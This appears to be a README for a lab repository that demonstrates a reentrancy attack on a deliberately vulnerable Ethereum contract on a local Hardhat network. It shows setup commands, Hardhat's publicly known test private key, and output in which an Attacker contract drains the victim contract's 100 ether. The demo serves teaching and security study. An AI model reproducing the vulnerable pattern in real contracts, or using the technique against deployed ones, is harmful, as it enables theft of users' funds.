BadSmartContract

Install hardhat

npm i

Starting hardhat localhost

npx hardhat node
#Started HTTP and WebSocket JSON-RPC server at http://127.0.0.1:8545/
#
#Accounts
#========
#
#WARNING: These accounts, and their private keys, are publicly known.
#Any funds sent to them on Mainnet or any other live network WILL BE LOST.
#
#Account #0: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 (10000 ETH)
#Private Key: 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
#...

Compile and Deploy to localhost

Contracts are deployed using the first signer/account by default.

npm run compdep
...
#EtherStore_03 deployed to 0x5FC8d32690cc91D4c39d9d3abcBD16989F875707
#Attacker_03 deployed to 0x0165878A594ca255338adfa4d48449f69242Eb8F

Updating Contract address in scripts/reentracyAttack.js

Donate to victim

npx hardhat run --network localhost scripts/reentracyAttack.js

=== Simple Re-Entrancy Attack Example ===
     ----------------------------------
     Block Number: 0x2

     Current Balances on Blockchain..
     etherstore_owner: 9999.999415166906565725
     attacker_owner: 10000.0
     someOne: 10000.0

     EtherStore(Contract) Balance: 0.0
     Balances..
     - Credit of etherstore_owner: 0.0
     - Credit of attacker_owner: 0.0
     - Credit of Attacker(Contract): 0.0

     Attacker(Contract) Balance: 0.0

(d)onate 100 Ether to EtherStore, (a)ttack from Attacker Contract(d/a): d
donating 100 Ether to victim on EtherStore

     ----------------------------------
     Block Number: 0x2

     Current Balances on Blockchain..
     etherstore_owner: 9999.999415166906565725
     attacker_owner: 10000.0
     someOne: 10000.0

     EtherStore(Contract) Balance: 100.0
     Balances..
     - Credit of etherstore_owner: 100.0
     - Credit of attacker_owner: 0.0
     - Credit of Attacker(Contract): 0.0

     Attacker(Contract) Balance: 0.0

Attack to victim

npx hardhat run --network localhost scripts/reentracyAttack.js

...

(d)onate 100 Ether to EtherStore, (a)ttack from Attacker Contract(d/a): a

#Call attack() on EtherStore ("etherStore.deposit{value: 1 ether}()" and "etherStore.withdraw")

     ----------------------------------
     Block Number: 0x3

     Current Balances on Blockchain..
     etherstore_owner: 9899.9993857236161347
     attacker_owner: 10000.0
     someOne: 10000.0

     EtherStore(Contract) Balance: 0.0
     Balances..
     - Credit of etherstore_owner: 100.0
     - Credit of attacker_owner: 0.0
     - Credit of Attacker(Contract): 0.0

     Attacker(Contract) Balance: 101.0

Reset network status

# Connecting a wallet or Dapp to Hardhat local Network
npx hardhat console --network localhost

> await ethers.provider.send('hardhat_reset', [])